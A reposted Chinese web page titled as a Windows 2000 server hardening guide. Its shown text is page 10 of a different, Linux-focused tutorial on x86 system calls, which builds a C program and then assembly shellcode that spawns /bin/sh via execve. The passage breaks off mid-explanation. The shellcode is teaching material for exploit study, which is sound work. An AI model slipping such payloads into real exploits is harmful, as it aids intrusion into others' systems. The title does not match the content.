精解——安全配置 Windows 2000服务器

来源:网络 作者:admin 阅读: 字体:[ ] [打印] [关闭]
自定义标签 wzsp 未创建

内容提要:一、定制自己的WIN2000 SERVER:     1.版本的选择:Win2000有各种语言的版本,对于我们来说,可以选择英文版或简体中文版,我强烈建议:在语言不成为障碍的情况下,请一定使用英文版。要知道,微软的产品是以Bu ……

10 直接利用系统调用实现的Hello World程序hello.c

将其编译链接生成可执行程序hello:

$ gcc -c hello.c$ ld hello.o -o hello$ ./helloHello world!$ ls -l hello-rwxr-xr-x    1 wy       os           1188 Sep 29 17:31 hello*

有兴趣的读者可以将这个hello的大小和我们当初在第一节C语言课上学过的Hello World程序的大小比较一下,看看能不能用C语言写出更小的Hello World程序。图10中的_syscall3和_syscall1都是定义于/usr/include/asm/unistd.h中的宏,该文件中定义了以__NR_开头的各种系统调用的所对应的系统调用号以及_syscall0到_syscall6六个宏,分别用于参数个数为0到6的系统调用。由此可知,Linux系统中系统调用所允许的最大参数个数就是6个,比如mmap(2)。另外,仔细阅读syscall0到_syscall6六个宏的定义不难发现,系统调用号是存放在寄存器eax中的,而系统调用可能会用到的6个参数依次存放在寄存器ebx、ecx、edx、esi、edi和ebp中。

清楚了系统调用的使用规则,我先来看一下如何在Linux下生成一个shell。应该说这是非常简单的任务,使用execve(2)系统调用即可,如图11所示。

#include <unistd.h>int main(){        char *name[2];        name[0] = "/bin/sh";        name[1] = NULL;        execve(name[0], name, NULL);        _exit(0);}

图11 shellcode.c在Linux下生成一个shell

在shellcode.c中一共用到了两个系统调用,分别是execve(2)和_exit(2)。查看/usr/include/asm/unistd.h文件可以得知,与其相应的系统调用号__NR_execve和__NR_exit分别为11和1。按照前面刚刚讲过的系统调用规则,在Linux下生成一个shell并结束退出需要以下步骤:

  • 在内存中存放一个以''\\0''结束的字符串"/bin/sh";
  • 将字符串"/bin/sh"的地址保存在内存中的某个机器字中,并且后面紧接一个值为0的机器字,这里相当于设置好了图11中name[2]中的两个指针;
  • 将execve(2)的系统调用号11装入eax寄存器;
  • 将字符串"/bin/sh"的地址装入ebx寄存器;
  • 将第2步中设好的字符串"/bin/sh"的地址的地址装入ecx寄存器;
  • 将第2步中设好的值为0的机器字的地址装入edx寄存器;
  • 执行int $0x80,这里相当于调用execve(2);
  • 将_exit(2)的系统调用号1装入eax寄存器;
  • 将退出码0装入ebx寄存器;
  • 执行int $0x80,这里相当于调用_exit(2)。

于是我们就得到了图12所示的汇编程序。

1 void main()2 {3__asm__("4jmp     1f52:popl    %esi6movl    %esi,0x8(%esi)7movb    $0x0,0x7(%esi)8movl    $0x0,0xc(%esi)9movl    $0xb,%eax10movl    %esi,%ebx11leal    0x8(%esi),%ecx12leal    0xc(%esi),%edx13int     $0x8014movl    $0x1, %eax15movl    $0x0, %ebx16int     $0x80171:call    2b18.string \\"/bin/sh\\"19");20 }

图12 使用execve(2)和_exit(2)系统调用生成shell的汇编程序shellcodeasm.c

这里第4行的jmp指令和第17行的call指令使用的都是IP相对寻址方式,第14行至第16行对应于_exit(2)系统调用,由于它比较简单,我们着重看一下调用execve(2)的过程。首先第4行的jmp指令执行之后控制就转移到了第17行的call指令处,在call指令的执行过程中除了将控制转移到第5行的pop指令外,还会将其下一条指令的地址压入堆栈。然而由图12可知,call指令后面并没有后续的指令,而是存放了字符串"/bin/sh",于是实际被压入堆栈的便成了字符串"/bin/sh"的地址。第5行的pop指令将刚刚压入堆栈的字符串地址弹出到esi寄存器中。接下来的三条指令首先将esi中的

上一页12345678910下一页
[标签: 精解——安全配置, Windows, 2000服务器] [打印] [关闭]
站长评论(0) 查看所有评论
相关新闻

热门新闻

推荐新闻